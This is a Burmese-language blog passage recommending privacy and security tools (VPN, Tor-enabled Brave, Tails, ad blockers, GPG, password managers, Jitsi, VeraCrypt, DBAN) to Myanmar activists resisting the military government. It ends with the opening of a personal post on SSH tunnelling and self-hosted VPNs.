VPN ကိုဘာဖြစ်လို့ အသုံးပြုသလဲဆိုတာကတော့ use case အမျိုးမျိုးရှိကြပါတယ်။ စာရေးသူအတွက်တော့ VPN ဆိုတာက နေ့စဉ် လုပ်ငန်းခွင်မှာ ကိုယ့်ရဲ့ Network Management System (NMS) တစ်ခုထဲကို ဝင်လို့ရအောင်အသုံးပြုရပါတယ်။ နောက်တခါ ကိုယ့်အိမ်က home network ကိုလည်း ကိုယ်ရောက်တဲ့နေရာကနေပြီးတော့ လှမ်းပြီးတော့ အချိန်မရွေးဝင်နိုင်အောင်လို့ အသုံးပြုလို့လည်းရပါတယ်။ နောက်တစ်ခုက အခုလက်ရှိ မြန်မာနိုင်ငံရဲ့ internet ကို ပိတ်ဆို့မှုတွေနဲ့ ကြုံတွေ့နေရတဲ့ အချိန်မျိုးမှာလည်း စာရေးသူတို့ free VPN တွေကို အသုံးပြုပြီးတော့ ပိတ်ထားတဲ့ Facebook တွေ၊ Messenger တွေကို အသုံးပြုရပြန်ပါတယ်။ ဒီလိုမျိုး free VPN တွေကို အသုံးပြုခြင်းအားဖြင့် ကိုယ့်ရဲ့ web history နဲ့ personal web browsing habits တွေကို data collect လုပ်ပြီးတော့ revenue ပြန်ရှာရမှာ မလွှဲမသွေပါ။ နောက်တစ်ခုက သုံးတဲ့လူများလို့ သူတို့ free VPN server တွေဟာ လိုအပ်သလောက် scale up လုပ်ပေးမယ်လို့ စာရေးသူ မထင်ပါ။ ဒီအတွက် လူများလာတာနဲ့ အမျှနှေးလာမှာတော့ အသေအချာပါပဲ။ စာရေးသူ အနေနဲ့ လည်း public wifi တို့လိုမျိုးမှာ internet ကို access လုပ်ချင်တယ်ဆိုရင်လည်း ကိုယ်ပိုင် VPN server ကို ချိတ်ပြီးတော့ အသုံးပြုခြင်းအားဖြင့် တခြားသူတွေကိုယ်ရဲ့ အသုံးပြုနေတဲ့ traffic ကိို sniff လုပ်လို့ မရနိုင်အောင် ကာကွယ်နိုင်ပါတယ်။ အခုအနေအထားတိုင်း ဆိုရင်ဖြင့် Wireguard VPN ဟာ မြန်မာနိုင်ငံမှာ internet အသုံးပြုဖို့အတွက် မရှိမဖြစ်အရေးကြီးတဲ့ security toolkit ထဲက tool တစ်ခုဖြစ်လာလို့ နေပါပြီ။ Wireguard ကို iOS device တွေအတွက် အောက်က link မှာသွားပြီးတော့ download လုပ်ပြီးတော့ install လုပ်နိုင်ပါတယ်။

{% embed url="<https://apps.apple.com/us/app/wireguard/id1441195209>" %}

Android အတွက်တော့ အောက်က link မှာရယူနိုင်ပါတယ်။

{% embed url="<https://play.google.com/store/apps/details?id=com.wireguard.android>" %}

နောက်မှာလည်း Wireguard ရဲ့ public နဲ့ private keys တွေကို ထုတ်တဲ့အခါမှာ လူများလာရင် scale up လုပ်လို့ ရအောင် automated workflow တစ်ခုကို ဘယ်လိုမျိုး တည်ဆောက်နိုင်သလဲဆိုတာကို post တစ်ခုအနေနဲ့ ဆက်ပြီးတော့ ရေးပါအုံးမယ်။ ဒီမှာတော့ အခြားသော security toolkit တွေကို ဆက်ပြီးတော့ သွားချင်တဲ့ အတွက် အမြန်ပဲရှင်းလိုက်တဲ့ သဘောပါ။

## 3. Brave Tor anonymity web browser

Brave browser ကတော့ mobile phone တွေရဲ့ iOS နဲ့ Android platform နှစ်ခုလုံးမှာ အသုံးပြုနိုင်သလို၊ PC နဲ့ Mac အတွက်တော့ အကောင်းဆုံးဖြစ်အောင် သုံးလို့ရနိုင်တဲ့ browser တစ်ခုပါ။ Privacy ကို focus လုပ်ထားတဲ့ web browser တစ်ခုဖြစ်ပြီးတော့ Tor ကိုလည်း built-in ထည့်ပေးထားတဲ့ web browser တစ်ခုလည်း ဖြစ်ပါတယ်။ Tor browser ကိုသီးသန့် download လုပ်ပြီးတော့လည်း install လုပ်ပြီး အသုံးပြုနိုင်ပါတယ်။ Brave မှာတော့ ဒီအတိုင်းထည့်ပေးထားတဲ့အတွက် သီးသန့် Tor ကို ထပ်ပြီးတော့ ပေါင်းထည့်စရာမလိုတဲ့အတွက် ပိုပြီးတော့ အဆင်ပြေနိုင်ပါတယ်။ Brave browser ကတော့ mobile phone တွေရဲ့ iOS နဲ့ Android platform နှစ်ခုလုံးမှာ အသုံးပြုနိုင်သလို၊ Linux/Windows PC နဲ့ Mac အတွက်တော့ အကောင်းဆုံးဖြစ်အောင် သုံးလို့ရနိုင်တဲ့ browser တစ်ခုပါ။ Privacy ကို focus လုပ်ထားတဲ့ web browser တစ်ခုဖြစ်ပြီးတော့ Tor ကိုလည်း built-in ထည့်ပေးထားတဲ့ web browser တစ်ခုလည်း ဖြစ်ပါတယ်။ Tor browser ကိုသီးသန့် download လုပ်ပြီးတော့လည်း install လုပ်ပြီး အသုံးပြုနိုင်ပါတယ်။ Brave မှာတော့ ဒီအတိုင်းထည့်ပေးထားတဲ့အတွက် သီးသန့် Tor ကို ထပ်ပြီးတော့ ပေါင်းထည့်စရာမလိုတဲ့အတွက် ပိုပြီးတော့ အဆင်ပြေနိုင်ပါတယ်။ Brave ဟာ Firefox လိုမျိုး privacy ကိုအသားပေးတဲ့ browser မျိုး ဖြစ်တဲ့အတွက် ကိုယ်လုံခြုံရေးနဲ့ ပတ်သတ်တဲ့ feature တွေအများကြီးပါတယ်။ အမြင်အားဖြင့်လည်း လှတဲ့အတွက် စာရေးသူတော့ တော်တော်လေးမျက်စိကျမိပါတယ်။ ‌

iOS ကိုအသုံးပြုသူများအတွက်တော့ အောက်က link မှာ app ကို download ဆွဲလို့ရပါတယ်။ [‎](https://apps.apple.com/us/app/brave-private-browser-vpn/id1052879175)

{% embed url="<https://apps.apple.com/us/app/brave-private-browser-vpn/id1052879175>" %}

Android ကိုအသုံးပြုသူများအတွက်တော့ အောက်က link မှာ app ကို download ဆွဲပါ။

{% embed url="<https://play.google.com/store/apps/details?id=com.brave.browser&hl=en:AU&gl=US>" %}

Linux/Windows PC နဲ့ MacOS ပေါ်မှာအသုံးပြုချင်တယ်ဆိုရင်တော့ အောက်က link မှာ download ဆွဲပြီးတော့ install လုပ်လို့ရပါတယ်။

{% embed url="<https://brave.com/download/>" %}

## 4. Tails Portable OS <a href="#id-4-tails-portable-os" id="id-4-tails-portable-os"></a>

ဒီတစ်ခုကတော့ CDM သမားတွေပဲဖြစ်ဖြစ်၊ high profile activist တွေပဲဖြစ်ဖြစ်အသုံးပြုသင့်တဲ့ Linux ရဲ့ distro တစ်ခုပါ။ အခုလိုမျိုး စစ်အစိုးရဆန့်ကျင်ရေး လုပ်ငန်းစဉ်တွေကိုလုပ်တဲ့အခါမှာ တနည်းမဟုတ် တနည်းတော့ ကမ္ဘာကြီးနဲ့ ဆက်သွယ်ဖို့လိုပါတယ်။ လိုအပ်တဲ့ သတင်းဖြန့်ချီရေး အတွက်ဖြစ်စေ၊ အခြားသော activist တွေနဲ့ ဆက်သွယ်တာပဲဖြစ်စေ သုံးကိုသုံးသင့်တဲ့ Linux distro တစ်ခုပါ။ ထောက်လှမ်းရေးကောင်းလှပါပြီရဲ့လို့ ပြောတဲ့ အမေရိကန်နိုင်ငံရဲ့ NSA ကိုတောင် မလိမ့်တဘက်လုပ်ပြီးတော့ လိုအပ်တဲ့သတင်းတွေကို Edward Snowden တစ်ယောက် အပြင်ကိုရအောင်ထုတ်နိုင်ခဲ့ပါတယ်။ Tails OS ဟာလည်း သူ့ရဲ့ အကြံပေးချက်တစ်ခုမှာ ထည့်ပြောသွားတာဖြစ်လို့ သေချာပေါက်စိတ်ချလို့ ရနိုင်ပါတယ်။ ပြည်တွင်းမှာရှိတဲ့ နည်းပညာသမားတွေ အနေနဲ့ ကိုယ်နဲ့ နီးစပ်တဲ့ CDM လုပ်တဲ့သူတွေနဲ့ activist တွေ အသုံးပြုနိုင်ဖို့ရာ setup လုပ်ပေးသင်တဲ့ အရာတစ်ခုပါ။ Bootable USB stick တစ်ခုနဲ့ ကိုယ်အဆင်ပြေမယ့် မည်သည့် x86 platform ပေါ်မှာ အလွယ်တကူ run လို့ရတဲ့ distro တစ်ခုပါ။ ဘယ်လိုမျိုး setup လုပ်ရသလဲကိုတော့ ဒီမှာအသေးစိတ် မရှင်းတော့ပါဘူး။ နည်းပညာနယ်ပယ်က နည်းပညာသမားတိုင်း ဘယ်လို setup လုပ်ရမယ်၊ ဘယ်လိုသုံးရသလဲဆိုတာကို သိနိုင်ပါတယ်။ မခက်ပါဘူး။ အခက်အခဲရှိတယ်ဆိုရင်တော့ နီးစပ်ရာ နည်းပညာသမားတွေကို အကူအညီတောင်းပါ။ စာရေးသူကို တိုက်ရိုက်ဆက်သွယ်လျှင်လည်းရပါတယ်။ ရသလောက် ကူညီပေးပါ့မယ်။ Tails OS ကို download လုပ်ပုံ၊ setup လုပ်ပုံကို အောက်က link မှာ documentation ကောင်းကောင်း နဲ့သွားရောက်ပြီးတော့လေ့လာလို့ရနိုင်ပါတယ်။

[Tails - Hometails.boum.org](https://tails.boum.org/)

## 5. uBlock Origin ad Blocker / Privacy Badger web extension

Ad blocker လို့ဆိုပေမယ့်လည်း Ad ထက်ပိုတဲ့ အခြားသော malware site တွေကိုလည်း block လုပ်ပေးတဲ့အတွက် ကိုယ်စက်ပေါ်ကို မသမာသူတွေက Cross Site Scripting (XSS) လိုမျိုး attack ကို launch လုပ်ဖို့ရာအတွက် တော်တော်လေးကို ခက်ခဲသွားပါပြီ။ Linux/Windows PC နဲ့ MacOS လိုမျိုး platform တွေမှာ virus ကိုက်တဲ့အခါကြည့်လိုက်ရင် web browser ကနေပြီး တစ်ခုခုကို download ဆွဲပြီးတော့ install လုပ်လိုက်တာနဲ့ စက်ပျက်သွားတာမျိုးတွေများပါတယ်။ ဒီတော့ Ad blocker နဲ့ Privacy Badger လိုမျိုး web extension တွေက မဖြစ်ခင်ကတည်းက ကြိုတင်ပြီးတော့ block လုပ်ထားတာဖြစ်တဲ့အတွက် web browser ကနေလာတဲ့ attack တော်တော်များများကို စစ်ချပေးပြီးသားဖြစ်သွားပါတယ်။ လူတိုင်းအသုံးပြုသင့်တဲ့ web extension နှစ်ခုပါ။ Browser တွေတိုင်းမှာလို ရနိုင်တဲ့ web extension တွေမို့ ကိုယ်က firefox ကိုသုံးရင်ဖြစ်ဖြစ် brave browser ကိုသုံးရင်ဖြစ်ဖြစ် add-on သို့မဟုတ် web store တွေမှာသွားပြီးတော့ရှာကြည့်လို့ ရနိုင်ပါတယ်။

uBlock Origin ကို အသုံးပြုချင်ရင်တော့ အောက်က link မှာသွားပြီးတော့ add ထည့်လိုက်ပါ

{% embed url="<https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm?hl=en>" %}

Privacy Badger ကိုသုံးချင်ရင်တော့ ဒီအောက် link ကနေသွားပြီးတော့ add လိုက်ပါ။

{% embed url="<https://chrome.google.com/webstore/detail/privacy-badger/pkehgijcmpdhfbdbbnkijodmdjhbjlgp?hl=en>" %}

## 6. GNU Privacy Guard (GPG)

လက်ရှိအချိန်ထိတော့ အလုံခြုံဆုံး cryptography ကိုပြပါဆိုရင်တော့ GPG ကိုပဲပြရပါလိမ့်မယ်။ စာရေးသူ အနေနဲ့တော့ GPG ကိုသုံးပြီးတော့ ကိုယ့် email တွေရဲ့ content တွေကို encrypt လုပ်သင့်တယ်လို့ထင်ပါတယ်။ GPG ဟာ email အတွက်သာမကပဲနဲ့ file တွေကိုလည်း encrypt လုပ်ပြီးတော့ တနေရာကနေ တနေရာကို ပို့ဆောင်ခြင်းဖြင့်လည်း အလယ်ကလူတွေကြားဖြတ်ပြီးတော့ သတင်းအချက်အလက်တွေကို ယူလို့မရအောင်လုပ်လို့ရပါတယ်။ အသုံးပြုဖို့ရာ ထင်သလောက် မလွယ်ကူပေမယ့်လည်း နည်းပညာသမားတွေအတွက်တော့ အရမ်းကိုခက်ခဲတဲ့ ကိစ္စတစ်ခုတော့မဟုတ်ပါ။ တခေါက်လောက် လုပ်လိုက်ရုံနဲ့ GPG ရဲ့ key authentication ဘယ်လိုအလုပ်လုပ်သလဲဆိုတာကို နားလည်နိုင်ပြီးတော့ နီးစပ်ရာ CDM သမားတွေနဲ့ activist သမားတွေကို ပြန်လည်သင်ကြားပေးခြင်းဖြင့် အရေးကြီးတဲ့ အချက်အလက်များကို လုံခြုံစိတ်ချစွာ ဖလှယ်ယူလို့ရနိုင်ပါတယ်။ အသုံးချပုံအသေးစိတ်ကို နောက်ပိုင်းမှာ အသေးစိတ်ပြန်လည် ရေးသွားပါ့မယ်။ ဒီ post မှာတော့ လုံခြုံရေးအတွက် အသုံးပြုသင့်တဲ့ toolset တွေကို တစ်ခုပြီးတစ်ခုချပြချင်တဲ့ ရည်ရွယ်ချက်နဲ့ ခပ်မြန်မြန်လေးသွားလိုက်ရအောင်။

Android phone မှာ GPG ကိုအသုံးပြုချင်ရင်တော့ app တွေကိုအောက်က link မှာသွားကြည့်လို့ရပါတယ်။

{% embed url="<https://www.openkeychain.org/>" %}

Linux/Windows PC နဲ့ MacOS မှာ အသုံပြုချင်ရင်တော့ အောက်က link နှစ်ခုမှာသွားပြီးတော့ လေ့လာနိုင်ပါတယ်။

{% embed url="<https://gnupg.org/index.html>" %}

{% embed url="<https://itmatic101.gitbook.io/blog/linux/gpg>" %}

## 7. KeePass / Bitwarden password manager

ဒီတလော နိုင်ငံရေး မတည်မငြိမ်ဖြစ်တော့ စစ်တပ်ဘက်ကနေပြီးတော့ ပြည်သူတွေရဲ့ Facebook account နဲ့ အခြားသော email account ကို hack တယ်ဆိုတဲ့ သတင်းတွေကို အခြားသော မိတ်ဆွေတွေဆီကနေကြားရတော့ အံ့အားသင့်ရပါတယ်။ ဒီခေတ်ထဲမှာက secure ဖြစ်တဲ့ password (အနည်းဆုံး ၁၈လုံးကနေပြီး အလုံး၃၀ ၄၀ လောက်ထိရှိတဲ့ password မျိုးကိုသုံးသင့်) ကိုစတင်သုံးရပါ့မယ်။ ပြီးတော့ အဲ့ဒီ password ကိုပဲ ထပ်ခါထပ်ခါပြန်ပြီးတော့ မသုံးသင့်ပါဘူး။ ဒါ့အပြင် 2 Factor Authentication (2FA) သို့မဟုတ် Multi-Factor Authentication (MFA) လိုမျိုး app တွေကိုအသုံးပြုသင့်ပါတယ်။ 2FA ကိုအနည်းဆုံးထည့်သွင်းအသုံးပြုသင့်ပါပြီ။ password တစ်ခုတည်းနဲ့ ဘယ်လိုမှ လုံခြုံစိတ်ချလို့ မရနိုင်တော့ပါဘူး။

အရင်တုန်းကလည်း စာရေးသူ Bitwarden အကြောင်းကို ရေးခဲ့ဘူးပါတယ်။ အထက်မှာပြောသလိုမျိုး password အရှည်ကြီးတွေနဲ့ အကောင့်ပေါင်းများစွာအတွက် အသုံးပြုတဲ့အခါကိုယ့်မှာ password manager တစ်ခုလိုအပ်လာပါပြီ။ အသုံးပြုရတာလွယ်ပါတယ်။ Offline သုံးဖို့အတွက်တော့ KeePass ရှိပြီးတော့ online အတွက်တော့ Bitwarden ရှိပါတယ်။ နှစ်ခုလုံးက free/opensource ဖြစ်တဲ့အတွက် ယုံကြည်စိတ်ချစွာ အသုံးပြုနိုင်ပါတယ်။ စာရေးသူအတွက်တော့ Bitwarden ဟာအလွန်အဆင်ပြေတဲ့ password manager တစ်ခုပါ။ Computer မှာကော mobile phone အတွက်ပါ software တွေ app တွေရှိတာမို့ Bitwarden ကိုတော့ ပိုပြီးတော့ ကြိုက်နှစ်သက်ပါတယ်။ ကိုယ်သက်ဆိုင်ရာ platform ပေါ်မှာ အသုံးပြုနိုင် အောက်က link မှာသွားပြီးတော့ download ဆွဲပြီးတော့ အသုံးပြုနိုင်ပါတယ်။

{% embed url="<https://bitwarden.com/download/>" %}

KeePass ကိုတော့ အောက်က link မှာသွားပြီးတော့ download ဆွဲပြီးတော့ အသုံးပြုနိုင်ပါတယ်။

{% embed url="<https://keepass.info/>" %}

## 8. Jitsi Meet audio/video conferencing

Zoom meeting ကို ဒီဘက်ခေတ်မှာ မသိတဲ့သူ မရှိသလောက်ဖြစ်နေပါပြီ။ Zoom ကို video/audio conferencing အတွက်အသုံးပြုနိုင်သော်လည်း free ရတဲ့ account နဲ့ဆိုရင် limitation တွေအများကြီးရှိပါတယ်။ လူဘယ်နှစ်ယောက်ဆို ဘယ်မိနစ်ပဲ conference လုပ်လို့ရတယ်ဆိုတာမျိုးတွေ ရှိပါတယ်။ Enterprise မှာတော့ တော်တော်လေးကို အသုံးပြုကြတဲ့ application တစ်ခုပါ။ စာရေးသူအတွက်တော့ opensource နဲ့ free account မှာ အကန့်အသတ်လည်းနည်းနိုင်သမျှ နည်းရမယ်၊ enterprise offering လည်းရှိရမယ်၊ self-hosted option လည်းရှိရမယ်ဆိုတဲ့ criteria တွေကို အကုန်လိုက်ကြည့်တတ်တဲ့ အကျင့်တစ်ခုကြောင့် Zoom ကိုသုံးဖို့ရာ အဆင်မပြေတော့ပါဘူး။ ဒီ့အတွက် Jitsi Meet ကို audio/video conferencing အတွက်ရွေးချယ်လိုက်ရပါတော့တယ်။ စာရေးသူကိုယ်တိုင်လည်း မိမိအဝန်းအဝိုင်းအတွင်းမှာ အခုလိုမျိုး opensource application လေးတွေကို လူသိများလာအောင် လက်တွေ့မှာအသုံးပြုစေပြီးတော့ community ဆိုင်ရာ non-profit operation တွေကိုလုပ်ဆောင်လေ့ရှိပါတယ်။ လုံခြုံစိတ်ချရပြီးတော့ security feature တွေလည်း Jitsi မှာပါဝင်တာကြောင့် လိုသလိုအသုံးပြုနိုင်ပါတယ်။ User interface မှာလည်း ရိုးရှင်းတဲ့ ပုံစံဖြစ်တာကြောင့် အလွယ်တကူ အသုံးပြုနိုင်ပါတယ်။ Jitsi Meet ကို Linux/Windows PC သို့မဟုတ် MacOS မှာသုံးချင်ရင်တော့ အောက်က link မှာသွားပြီးတော့ meeting တစ်ခုကို အလွယ်ဆုံး အမြန်ဆုံး setup လုပ်လို့ရနိုင်ပါတယ်။

{% embed url="<https://meet.jit.si/>" %}

iOS device တွေမှာ သုံးချင်ရင်တော့ အောက်က link မှာသွားပြီးတော့ download လုပ်နိုင်ပါတယ်။

{% embed url="<https://apps.apple.com/us/app/jitsi-meet/id1165103905>" %}

Android device တွေမှာ သုံးချင်ရင်တော့ အောက်က link မှာသွားပြီးတော့ download လုပ်ပါ။

{% embed url="<https://play.google.com/store/apps/details?id=org.jitsi.meet&hl=en&gl=US>" %}

## 9. VeraCrypt disk encryption

GPG လိုမျိုးပဲ encryption လုပ်တဲ့ tool တစ်ခုပါ။ Email နဲ့ file တွေကို encrypt လုပ်ရုံသာမက ကိုယ်ပြေးရင်းလွှားရင်း ကျန်ခဲ့တဲ့ကိုယ်ရဲ့ laptop/PC သို့မဟုတ် mobile phone ထဲက အချက်အလက်တွေကို အလွယ်တကူ ရမယူနိုင်အောင်လို့ disk တစ်ခုလုံးကို encrypt လုပ်သင့်ပါတယ်။ VeraCrypt မှာတော့ virtual encrypted disk တွေကိုလည်း ဖန်တီးနိုင်တာကြောင့် လိုအပ်ပါကအဲ့ဒီ feature ကိုလည်း အသုံးပြုနိုင်ပါတယ်။ Linux/Windows/Mac/iOS/Android တို့မှလည်း disk encryption ကို native လုပ်လို့ရပါတယ်။ ဘယ်လိုလုပ်လို့ ရသလဲဆိုတာကို အောက်က link မှာသွားပြီးတော့လေ့လာလို့ရပါတယ်။

{% embed url="<https://spreadprivacy.com/how-to-encrypt-devices/>" %}

VeraCrypt ကတော့ အထက်မှာပြောသွားတဲ့ အတိုင်း add-on feature တွေပါတဲ့အပြင် free opensource ဖြစ်တာကြောင့် system တွေမှာ built-in ပါလာတဲ့ disk encryption ကိုမသုံးချင်ရင် သုံးလို့ရနိုင်တဲ့ alternative ပါ။ အောက်မှာတော့ VeraCrypt ကို download ဆွဲပြီးတော့ အသုံးပြုနိုင်မယ့် link ပါ။

{% embed url="<https://www.veracrypt.fr/en/Home.html>" %}

## 10. DBAN data wiping

နောက်ဆုံးတစ်ခုအနေနဲ့ ထည့်သွင်းပြီး security toolkit တစ်ခုအနေနဲ့ထည့်သွင်းဖော်ပြချင်တဲ့ application တစ်ခုကတော့ DBAN ပါ။ DBAN ဟာ industrial standard အဆင့်လောက်နီးပါး ထိရောက်တဲ့ data wiping application တစ်ခုပါ။ ရိုးရိုး disk ကို format ရိုက်တာထက်စာရင် ပိုပြီးတော့ စိတ်ချရတဲ့ tool ပါ။ ပုံမှန်အားဖြင့် ကိုယ့်ရဲ့ Linux/Windows PC နဲ့ Mac မှာအသုံးပြုထားတဲ့ hard disk တွေကိုစွန့်ပစ်ပြီးတော့ ထားခဲ့ရမယ့် အနေအထားတစ်ခုမှာ drilling machine တစ်ခုခုနဲ့ physical damage ဖြစ်အောင်လို့ အပေါ်ကနေပြီး ၅ ချက် ၆ချက်လောက် ဖောက်ချပြီးတော့ ဖျက်စီးသင့်ပါတယ်။ ဒါမှမဟုတ်ရင် စိတ်မချရပါဘူး။ သို့သော် အခုလိုမျိုး အချိန်တိုအတွင်းမှာ မြန်မြန်ဆန်ဆန် ဖျောက်ဖျက်ပြီးတော့ ထွက်ပြေးရတာမျိုးတွေရှိလာတာကြောင့် DBAN နဲ့ hard disk ကိုသေချာ wipe လုပ်ပြီးထားခဲ့သင့်ပါတယ်။ တချိန်ကျရင် ကိုယ်ကသတင်းသမားတစ်ယောက် အရေးကြီးတဲ့ လျှို့ဝှက်သတင်းတွေအပြင်ကို secured channel တစ်ခုခုကနေ ပို့ပြီးတဲ့အခါမျိုးမှာ စစ်ခွေးတွေလာရောက်မဖမ်းဆီးနိုင်ခင်မှာ DBAN နဲ့ data wipe လုပ်ပစ်တာမျိုး၊ dd နဲ့ zeroing လုပ်ပစ်တာမျိုး ကြိုပြီးတော့ လုပ်ထားသင့်ပါတယ်။ ဒီလိုမှပဲ အထောက်အထားတွေ အချက်အလက်တွေ ရန်သူ့လက်ထဲမရောက် မှာဖြစ်ပါတယ်။ အဆိုးဆုံးကို စာရေးသူတို့ဘက်ကနေ စဉ်းစားပြီးတော့ နည်းပညာအားဖြင့် ကြိုတင် အကာအကွယ်ယူထားတဲ့ သဘောမျိုးပါ။ DBAN နဲ့ ပတ်သတ်တဲ့ အကြောင်းကိုလေ့လာချင်တယ် iso ကို download ဆွဲပြီးတော့ အသုံးပြုချင်ရင် အောက်က link မှာသွားကြည့်လို့ ရပါတယ်။

{% embed url="<https://dban.org/>" %}

သတင်းသမား၊ ကျောင်းသား ကျောင်းသူ၊ လူပျို လူအို၊ အပျိုမ အိမ်ထောင်ရှင်၊ ကလေး လူကြီး၊ တောင်ပေါ်တိုင်းရင်းသား မြေပြန့်မှာ တို့ပြည်သူတွေ အားလုံးသော မြန်မာပြည်လူထုကြီးတရပ်လုံး စိတ်ချမ်းသာ ကိုယ်ချမ်းသာစွာနဲ့ ပြန်လည်ဖြတ်သန်းနိုင်မယ့် နေ့သစ် ဒီမိုကရေစီနေ့များ အမြန်ရယူနိုင်ကြပါစေသတည်း။


# SSH Tunneling အကြောင်းသိကောင်းစရာ

စာမရေးဖြစ်တာနည်းနည်း တောင်ကြာသွားပြီဖြစ်လို့ ဘယ်ကနေဘယ်လို ပြန်ပြီးတော့ စာကိုစရေး လိုက်ရမယ်မှန်းမသိတောင် ဖြစ်သွားပါတယ်။ ရေးစာရာ အကြောင်းအရာတွေကတော့ အများကြီး ရှိပါတယ်။ အခုတလော tech နဲ့ ဆိုင်တဲ့ အထူးသဖြင့် Linux နဲ့ ဆိုင်တဲ့ podcast တွေအများကြီးနားထောင်ဖြစ်လို့ နောက်ထက် အသစ်အသစ်တွေ open source ကမ္ဘာမှာ ထက်ပြီးတော့ ရှာဖွေတွေရှိလို့နေပါတယ်။ အထူးသဖြင့် Linux မှာအသုံးပြုလို့ရတဲ့ tools တွေအများကြီး သိလာတယ်။ podcast တွေက weekly update ဖြစ်လို့ open source ကမ္ဘာက နောက်ဆုံးပေါ် tools တွေအကြောင်းကို အသစ်သစ် ပိုမိုတွေ့ရှိလာရပါတယ်။ podcast တွေဟာ အသံကိုပဲနားထောင်စရာလိုလို့ ကိုယ် idle ဖြစ်လို့ရှိရင် ဖွင့်ထားလိုက်ရုံနဲ့ သင်ကြားမူ process ကအလိုလိုနေရင်းနဲ့ စပါတော့တယ်။ ဟိုတချိန်က radio ခေတ်မှာလိုပဲ podcaster တွေထဲမှာလည်း တချို့သော host တွေက rockstar တွေပမာ နာမည်ကြီးတဲ့ podcaster တွေလည်းရှိပါတယ်။ လက်ရှိ စာရေးသူ နားထောင်ဖြစ်နေတဲ့ shows တွေတော်တော်များများဟာ Jupiter Broadcasting ဆိုတဲ့ အမေရိကန် နိုင်ငံက podcast တွေကိုများသောအားဖြင့်နားထောင် ဖြစ်နေပါတယ်။ အမေရိကန်နိုင်ငံ podcast ဆိုပေမယ့်လည်း သူတို့ရဲ့ shows တွေမှာ ပါဝင်ဆွေးနွေးကြတဲ့ သူတွေထဲမှာ ဗြိတိသျှလူမျိုးတွေလည်း ပါဝင်တဲ့ အတွက် စိတ်ကူးမျိုးစုံ အတွေးအခေါ်မျိုးစုံ တော်တော်များများကို ကိုယ်ကဇာတ်ရုံတစ်ခုထဲမှာ ထိုင်ပြီးတော့ကြည့်ရတဲ့အတိုင်း ဖော်ဖြေမူအပိုင်းမှာပါမကပဲ ဗဟုသုတလည်း အများကြီးရပါတယ်။ Jupiter Broadcasting (အတိုကောက် JB) shows ထဲမှာလည်း ရသမျိုးစုံကို ပေးနိုင်တဲ့ shows အမျိုးမျိုးရှိပါတယ်။ ဥပမာ ကိုယ်က self-hosted servers တွေနဲ့ services တွေကြောင်းကို နားထောင်ချင်ရင် Self-Hosted ဆိုတဲ့ show ရှိသလို၊ FreeBSD နဲ့ တခြားသော BSD variants တွေအကြောင်းကို သိချင်ရင် BSD Now ဆိုတဲ့ show ရှိပါတယ်။ စိတ်ဝင်စားတယ်… ကိုယ်လည်း နားထောင်ကြည့်ချင်တယ်ဆိုရင်တော့ ဒီ link [https://www.jupiterbroadcasting.com/ ](https://www.jupiterbroadcasting.com/)ကနေသွားကြည့်လို့ပါတယ်။ ဒါကတော့ ဒီတလောမှာ စာရေးသူ ရှာဖွေတွေ့ ရှိထားတဲ့ hobby အသစ်တခုလို့ ဆိုရမှာဖြစ်ပါတယ်။ နောက်ထက်စာတွေ မရေးဖြစ်တာကလည်း ကိုယ်ဟာကို အများကြီးဖြည့်ဖို့ကျန်နေသေးတယ် အထင်ရလို့ hibernation ခဏလုပ်ထားတာလည်းဖြစ်ပါတယ်။ စာရေးသူ စာတွေအများကြီးထက်ပြီးတော့ ရေးချင်ပါတယ်။ သိချင်တာတွေလည်းအများကြီး ကျန်ပါသေးတယ်။ စာတွေလည်း အများကြီးဖတ်ချင်ပါသေးတယ်။ ဒီတော့ စာတွေအများကြီး ထက်ရေးသွားပါ့မယ်။

အထက်မှာပြောခဲ့သလိုပဲ podcast တွေနားထောင်ဖြစ်လို့ သူတို့ပြောတဲ့ သူတို့ကြိုက်တဲ့ open source tools တွေအကြောင်း အများကြီး သိခွင့် ရခဲ့ပါတယ်။ များလွန်းလို့ ဘယ်အကြောင်းစရေးရမလဲဆိုတာ တော်တော်လေးကို စဥ်းစားပြီးမှ ကိုယ်ရေးချင်တဲ့ topic ကိုရွေးချယ်ရပါတယ်။ ဒီ post မှာရေးချင်တဲ့ အကြောင်းကတော့ secured tunnel အကြောင်းပါ။ ပထမတစ်ခုက SSH Tunneling အကြောင်းနဲ့ WireGuard ဆိုတဲ့ overlay VPN အကြောင်းပဲဖြစ်ပါတယ်။ စာရေးသူ ကိုယ်တိုင် အလုပ် နဲ့ အိမ်အတွက် IPsec နဲ့ SSL VPN တွေကို နေ့တိုင်းလိုလို အသုံးပြုရပါတယ်။ အထူးသဖြင့် အိမ်အတွက်တော့ OpenVPN ကို OPNsense box မှာ တင်ပြီးတော့ အသုံးပြုပါတယ်။ OPNsense မှာ OpenVPN အတွက် 2 Factors Authentication (2FA) နဲ့ TLS encryption လို security feature တွေပါလို့ တော်တော်လေး တွင်တွင်ကျယ်ကျယ် အသုံးပြုဖြစ်ပါတယ်။ သို့သော် performance အပိုင်းမှာတော့ overhead များလို့ ထင်သလောက် အလုပ်မဖြစ်သလိုခံစားရပါတယ်။ security feature တွေအတွက် ပေးဆပ်လိုက်ရတဲ့ performance ပိုင်းမှာ အနည်းငယ် ထိခိုက်သွားတဲ့ သဘောမျိုးပါ။ OpenVPN ကို OPNsense ပေါ်မှာ setup လုပ်ရတာလည်း အရမ်းကြီး မခက်သလို အရမ်းလည်း အလွယ်လွန်းလှပါဘူး။ ပထမဆုံး တခေါက်ကတော့ နည်းနည်းလေးရွာလည်ပါတယ်။ နောက်ပိုင်းတော့လည်း ထင်သလောက် မရှုပ်လှပါဘူး။ စာရေးသူ ၃ခါ ၄ခါလောက်တော့ OPNsense ကို rebuilt ပြန်လုပ်ရပါတယ်။ များသောအားဖြင့် ဟိုစမ်းဒီစမ်းနဲ့ OPNsense မှာ error တက်လာတာနဲ့ ပြန်ပြီးတော့ အစကနေ rebuilt လုပ်ရပါတယ်။ စာရေးသူအတွက်တော့ အလုပ်ရှုပ်တယ်လို့မထင်ပဲနဲ့ အသစ်တခုခုကို လေ့လာသင်ကြားနိုင်တဲ့ အခွင့်လမ်းအနေနဲ့ မြင်ပါတယ်။ ဒါကတော့ open source မှာရနိုင်တဲ့ free သင်ခန်းစာတွေလို့ပဲ မြင်မိပါတယ်။

